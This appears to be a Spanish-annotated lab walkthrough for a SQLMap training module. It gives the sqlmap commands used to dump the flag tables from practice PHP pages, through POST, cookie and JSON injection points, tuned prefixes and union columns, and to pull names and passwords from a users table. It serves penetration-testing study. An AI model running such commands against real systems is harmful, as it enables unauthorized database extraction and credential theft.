SQLMap Essentials
Getting Started
SQLMap Overview
Preguntas
What's the fastest SQLi type?
UNION query-based
Building Attacks
Running SQLMap on an HTTP Request
Preguntas
What's the contents of table flag2? (Case #2)
Vemos cómo se llaman las bases de datos.
sqlmap -u 'http://94.237.57.211:53268/case2.php' --data 'id=1*' --method POST -H 'Content-Type: application/x-www-form-urlencoded' --dbs

Sabiendo como se llama realizamos lo siguiente para ver lo que contiene en dicha tabla.
sqlmap -u 'http://94.237.57.211:53268/case2.php' \
--data 'id=1*' --method POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-D testdb -T flag2 --dump

What's the contents of table flag3? (Case #3)
sqlmap -u "http://94.237.57.211:53268/case3.php" --cookie 'id=1*' -T flag3 --dump

What's the contents of table flag4? (Case #4)
sqlmap -u 'http://94.237.57.211:53268/case4.php' -H 'Content-Type: application/json' --data '{"id":1}' -T flag4 --dump --method POST

Attack Tuning
Preguntas
What's the contents of table flag5? (Case #5)
sqlmap -u 'http://94.237.50.221:57391/case5.php?id=1' -T flag5 --no-cast --dump --batch --risk 3 --level 5

What's the contents of table flag6? (Case #6)
sqlmap -u 'http://94.237.50.221:57391/case6.php?col=id' -T flag6 --dump --batch --risk 3 --level 5 --prefix='`)'

What's the contents of table flag7? (Case #7)
sqlmap -u 'http://94.237.50.221:57391/case7.php?id=1' --union-cols 5-8 --level=3 --risk=3 --dump -T flag7 --techniqu
e=U -D testdb

Database Enumeration
Preguntas
What's the contents of table flag1 in the testdb database? (Case #1)
sqlmap -u 'http://83.136.254.55:50741/case1.php?id=1' -T flag1 --dump --batch --risk 3 --level 5 --dbms MYSQL -D testdb

Advanced Database Enumeration
What's the name of the column containing "style" in it's name? (Case #1)
sqlmap -u 'http://83.136.254.55:50741/case1.php?id=1' --batch --search -C "style"

What's the Kimberly user's password? (Case #1)
sqlmap -u 'http://83.136.254.55:50741/case1.php?id=1' --dump --batch --columns -C name,password -T users

PreviousSQL Injection FundamentalsfNextBrute Force Login Vulnerability in Soosyze CMS 2.0 (CVE-2025-52392)
Last updated
Was this helpful?